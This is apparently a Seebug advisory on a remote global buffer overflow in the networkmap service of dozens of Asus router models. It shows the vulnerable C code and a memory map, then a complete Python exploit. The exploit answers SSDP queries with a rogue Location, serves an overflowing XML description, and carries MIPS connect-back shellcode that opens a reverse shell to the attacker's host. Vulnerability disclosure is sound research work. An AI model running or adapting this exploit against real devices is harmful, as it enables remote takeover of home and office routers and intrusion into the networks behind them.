Asus_GlobalWirteOverflow

2017-12-26T00:00:00
ID SSV:97015
Type seebug
Reporter Root
Modified 2017-12-26T00:00:00

Description

[Vulnerability]:

Global buffer overflow in networkmap


[Exploitation]:

Can write data at any address in heap


[Vendor of Product]:

Asus wireless router


[Affected Products and firmware version]:

Asuswrt-Merlin  ,all the firmware and the latest firmware is 380.66_6
RT-AC5300   ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1900P  ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68U    ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68P    ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC88U    ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U    ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U_B1     ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC58U    ,all the firmware,and the latest firmware is 3.0.0.4.380.7485
RT-AC56U    ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC55U    ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-AC52U    ,all the firmware,and the latest firmware is 3.0.0.4.380.4180
RT-AC51U    ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N18U     ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-N66U     ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N56U     ,all the firmware,and the latest firmware is 3.0.0.4.378.7177
RT-AC3200   ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC3100   ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1200GU     ,all the firmware,and the latest firmware is 3.0.0.4.380.5577
RT_AC1200G  ,all the firmware,and the latest firmware is 3.0.0.4.380.3167
RT-AC1200   ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-AC53     ,all the firmware,and the latest firmware is 3.0.0.4.380.9883
RT-N12HP    ,all the firmware,and the latest firmware is 3.0.0.4.380.2943
RT-N12HP_B1     ,all the firmware,and the latest firmware is 3.0.0.4.380.3479
RT-N12D1    ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N12+     ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT_N12+_PRO     ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-N16      ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N300     ,all the firmware,and the latest firmware is 3.0.0.4.380.7378

[Attack Type]:

Remote


[Can Cause Denial of Service?]:

yes


[Reference]:

https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032

http://asuswrt.lostrealm.ca/

https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/ (chose the others can download the firmware sourcecode)

https://www.asus.com/Networking/Wireless-Routers-Products/


[Discoverer]:

Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/


[Affected components]:

Affected executable application: networkmap Affected source code file: \release\src\router\networkmap\function.c Affected function: store_description(char *msg)


[Vulnerability description]:

When the function process_device_repsonse of networkmap is parsing the SSDP answer from a device and the SSDP answer has indicated the location like:

HTTP/1.1 200 OK
Location:HTTP://host:port/path

If the "HTTP://host:port/path" is valid, the networkmap will get the device descirption xml by accessing "HTTP://host:port/path",and it will use the function store_description to store the device descirption information to global sturct device_info. In the function store_description,there's no limit to the variable s_num, so that it can cause the global sturct device_info overflow when copy the data from tmp to description.service[s_num].url .


[Vulnerability details]:

In the \release\src\router\networkmap\function.c, It define the global struct device_info description and the function store_description: ... struct device_info description; ...

void store_description(char *msg)
{
        ...
        int s_num = 0;
        ...
        while( p!= NULL && p < body)
        {
        ...
        switch(type)
        {
        ...
        case 7:
            strlcpy(description.service[s_num].url, tmp, sizeof(description.service[s_num].url));
            NMP_DEBUG_F("service %d url = %s\n", s_num, tmp);
            s_num++;
            break;
        }
        }
        ...
}

You can see that the s_num variable is incremented in case 7, But in the while( p!= NULL && p < body),it never check the s_num variable. And in the \release\src\router\networkmap\networkmap.h,it define the struct device_info: ...

#define LINE_SIZE               200
#define SERVICE_NUM             10
struct service
{
        char name[LINE_SIZE];
        char url[LINE_SIZE];
};
struct device_info
{
        char friendlyname[LINE_SIZE];
        char manufacturer[LINE_SIZE];
        char description[LINE_SIZE];
        char modelname[LINE_SIZE];
        char modelnumber[LINE_SIZE];
        char presentation[LINE_SIZE];
        struct service service[SERVICE_NUM];
        int service_num;
};

Because SERVICE_NUM = 10,so,in the case 7 which in the function store_description, when the s_num variable has be incremented and the s_num > 10, the data copy to struct device_info description.service[s_num].url will overflow.


[Exploitation details]:

When the networkmap get the device descirption xml by accessing "HTTP://host:port/path", we can respond a device descirption xml like: <?xml><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL>shellcode<></root> the shellcode will be written to the memory that out of the global struct device_info description.

And then,because the memory maps for networkmap is:

admin@RT-N12HP_B1:/# cat /proc/$(pidof networkmap)/maps
00400000-0040a000 r-xp 00000000 1f:02 104        /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:02 104        /usr/sbin/networkmap
0041b000-00420000 rwxp 0041b000 00:00 0          [heap]
2aaa8000-2aaae000 r-xp 00000000 1f:02 733        /lib/ld-uClibc.so.0
2aaae000-2aaaf000 rw-p 2aaae000 00:00 0 
2aab0000-2aab6000 rw-s 00000000 00:07 0          /SYSV000003e9 (deleted)
2aab6000-2aaba000 rw-s 00000000 00:07 32769      /SYSV000003ea (deleted)
2aabd000-2aabe000 r--p 00005000 1f:02 733        /lib/ld-uClibc.so.0
2aabe000-2aabf000 rw-p 00006000 1f:02 733        /lib/ld-uClibc.so.0
2aabf000-2aaeb000 r-xp 00000000 1f:02 164        /usr/lib/libshared.so
2aaeb000-2aafa000 ---p 2aaeb000 00:00 0 
2aafa000-2aafe000 rw-p 0002b000 1f:02 164        /usr/lib/libshared.so
2aafe000-2ab0f000 rw-p 2aafe000 00:00 0 
2ab0f000-2ab11000 r-xp 00000000 1f:02 235        /usr/lib/libnvram.so
2ab11000-2ab21000 ---p 2ab11000 00:00 0 
2ab21000-2ab22000 rw-p 00002000 1f:02 235        /usr/lib/libnvram.so
2ab22000-2ab30000 r-xp 00000000 1f:02 732        /lib/libgcc_s.so.1
2ab30000-2ab40000 ---p 2ab30000 00:00 0 
2ab40000-2ab41000 rw-p 0000e000 1f:02 732        /lib/libgcc_s.so.1
2ab41000-2ab79000 r-xp 00000000 1f:02 728        /lib/libc.so.0
2ab79000-2ab89000 ---p 2ab79000 00:00 0 
2ab89000-2ab8a000 rw-p 00038000 1f:02 728        /lib/libc.so.0
2ab8a000-2ab8e000 rw-p 2ab8a000 00:00 0 
2ab8e000-2ab96000 r--s 00000000 00:0b 297        /dev/nvram
7fc20000-7fc35000 rwxp 7fc20000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 7fff7000 00:00 0          [vdso]

Both the Program address and the Heap address are not randomized and Continuous. So when the global struct device_info overflow ,the shellcode could be write to the heap ,and the shellcode address in the heap is fixed and Controllable.


[exp.py]:

# Tested product and firmware version:
# RT-N12HP_B1 (3.0.0.4.380.3479)

# coding=utf-8

ROUTER_IP = '192.168.2.1'       #asus wireless router ip
IP = '192.168.2.31'             #attacker ip
INTERACE = 'eth0'               #attacker host network interface
CONNECTBACK_IP = '192.168.2.31' #the host ip use for connectback shell shellcode
                                #the default connectback port is 30583

import time
import socket
import sys
import os
import threading
import socketserver

sc = '&lt;?xml&gt;&lt;SCPDURL&gt;'
sc += '&lt;&gt;'
sc += '&lt;SCPDURL&gt;'
sc += '&lt;&gt;'
sc += '&lt;SCPDURL&gt;'
sc += '&lt;&gt;'
sc += '&lt;SCPDURL&gt;'
sc += '&lt;&gt;'
sc += '&lt;SCPDURL&gt;'
sc += '&lt;&gt;'
sc += '&lt;SCPDURL&gt;'
sc += '&lt;&gt;'
sc += '&lt;SCPDURL&gt;'
sc += '&lt;&gt;'
sc += '&lt;SCPDURL&gt;'
sc += '&lt;&gt;'
sc += '&lt;SCPDURL&gt;'
sc += '&lt;&gt;'
sc += '&lt;SCPDURL&gt;'
sc += '&lt;&gt;'
sc += '&lt;SCPDURL&gt;'
sc += b'\xff\xff\x04\x28'
sc += b'\xbb\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xfa\xff\x0f\x24'
sc += b'\x27\x78\xe0\x01'
sc += b'\xfd\xff\xe4\x21'
sc += b'\xfd\xff\xe5\x21'
sc += b'\xff\xff\x06\x28'
sc += b'\x57\x10\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xff\xff\xa2\xaf'
sc += b'\xff\xff\xa4\x8f'
sc += b'\xfd\xff\x11\x24'
sc += b'\x27\x88\x20\x02'
sc += b'\xe2\xff\xb1\xa7'
sc += b'\x77\x77\x0e\x24'
sc += b'\xe4\xff\xae\xa7'
sc += socket.inet_aton(CONNECTBACK_IP)[0] + socket.inet_aton(CONNECTBACK_IP)[1] + b'\x0e\x34'
sc += b'\xe6\xff\xae\xa7'
sc += socket.inet_aton(CONNECTBACK_IP)[2] + socket.inet_aton(CONNECTBACK_IP)[3] + b'\x0e\x24'
sc += b'\xe8\xff\xae\xa7'
sc += b'\xe2\xff\xa5\x27'
sc += b'\xef\xff\x0c\x24'
sc += b'\x27\x30\x80\x01'
sc += b'\x4a\x10\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\x21\x28\x20\x02'
sc += b'\xdf\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xff\xff\x10\x24'
sc += b'\xff\xff\x31\x22'
sc += b'\xfa\xff\x30\x16'
sc += b'\xff\xff\x06\x28'
sc += b'\x2f\x2f\x0f\x24'
sc += b'\xec\xff\xaf\xa7'
sc += b'\x62\x69\x0f\x24'
sc += b'\xee\xff\xaf\xa7'
sc += b'\x6e\x2f\x0e\x24'
sc += b'\xf0\xff\xae\xa7'
sc += b'\x73\x68\x0e\x24'
sc += b'\xf2\xff\xae\xa7'
sc += b'\xf4\xff\xa0\xaf'
sc += b'\xec\xff\xa4\x27'
sc += b'\xf8\xff\xa4\xaf'
sc += b'\xfc\xff\xa0\xaf'
sc += b'\xf8\xff\xa5\x27'
sc += b'\xab\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += '&lt;&gt;&lt;/root&gt;'

def mac():
    os.system('macchanger -A {}'.format(INTERACE))

os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP))

class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):

    def handle(self):
        print('[-] got shellcode request')
        self.request.recv(1024)
        print("[-] sending shellcode")
        self.request.send(sc)

class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass

socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()

print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction")

addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('239.255.255.250', 1900))
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + socket.inet_aton('0.0.0.0'))

mac()
times = 0
state = 'Overflow'

while True:
    data, sender = s.recvfrom(1500)
    if sender[0] == ROUTER_IP and sender[1] == 1008:
        print("[-] received SSDP M-SEARCH Package")

        data = {}
        data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/A\r\n\r\n'

        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        sock.sendto(data[state], sender)

        if state == 'Overflow':
            print("[-] Send the GetXmlRequest to router")
            time.sleep(20)
            os._exit(0)